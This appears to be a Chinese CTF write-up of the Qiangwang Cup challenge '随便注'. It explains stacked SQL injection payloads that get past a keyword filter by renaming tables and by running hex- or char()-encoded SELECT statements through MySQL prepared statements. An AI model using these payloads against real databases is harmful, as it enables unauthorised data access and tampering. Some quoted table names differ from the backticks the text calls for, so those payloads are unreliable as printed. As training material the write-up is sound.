强网杯-随便注

 · 2020-1-12  ·次阅读


通过简单的注入

1'
1'#
1';order by 1;#
1' union select 1,2#

得出有过滤规则

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

一些select update delect语句都被过滤了

那么我们就用堆叠注入(不要问为什么,我百度来的)

首先介绍一下堆叠注入,简单来说就说将多条语句并列执行(语句1;语句2)同时执行语句1,2

1‘;show databases;# 查数据库

查库

1‘;show tables;# 查表 发现有两个表

查表

1';show columns from 1919810931114514;#

1';show columns from words;#

分别查第一张表和第二张表

这里的1919810931114514要用反引号`括起 (数字串为表名的表操作时要加反引号)

words表

在第一张表中发现了flag字段 但是只有words表有回显,然后看了一下大佬的绕过规则

这里通过修改表名

修改表名

1';rename tables 'words' to 'words1';rename tables '1919810931114514' to 'words'; alter table 'words' change 'flag' 'id' varchar(100);#

然后用1’ or 1=1#得到flag

flag

这里还有大佬的另外几种绕过方式(通过mysql预处理)

语句1:

1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

是将select * from ’1919810931114514‘转化为16进制

语句2;

1';SET @sql=concat(char(115,101,108,101,99,116)," * from 1919810931114514");PREPARE sqla from @sql;EXECUTE sqla;#

(char(115,101,108,101,99,116)是把s e l e c t的ascii码转换为字符连接起来,再把后面的拼接起来就成了select * from ‘1919810931114514’)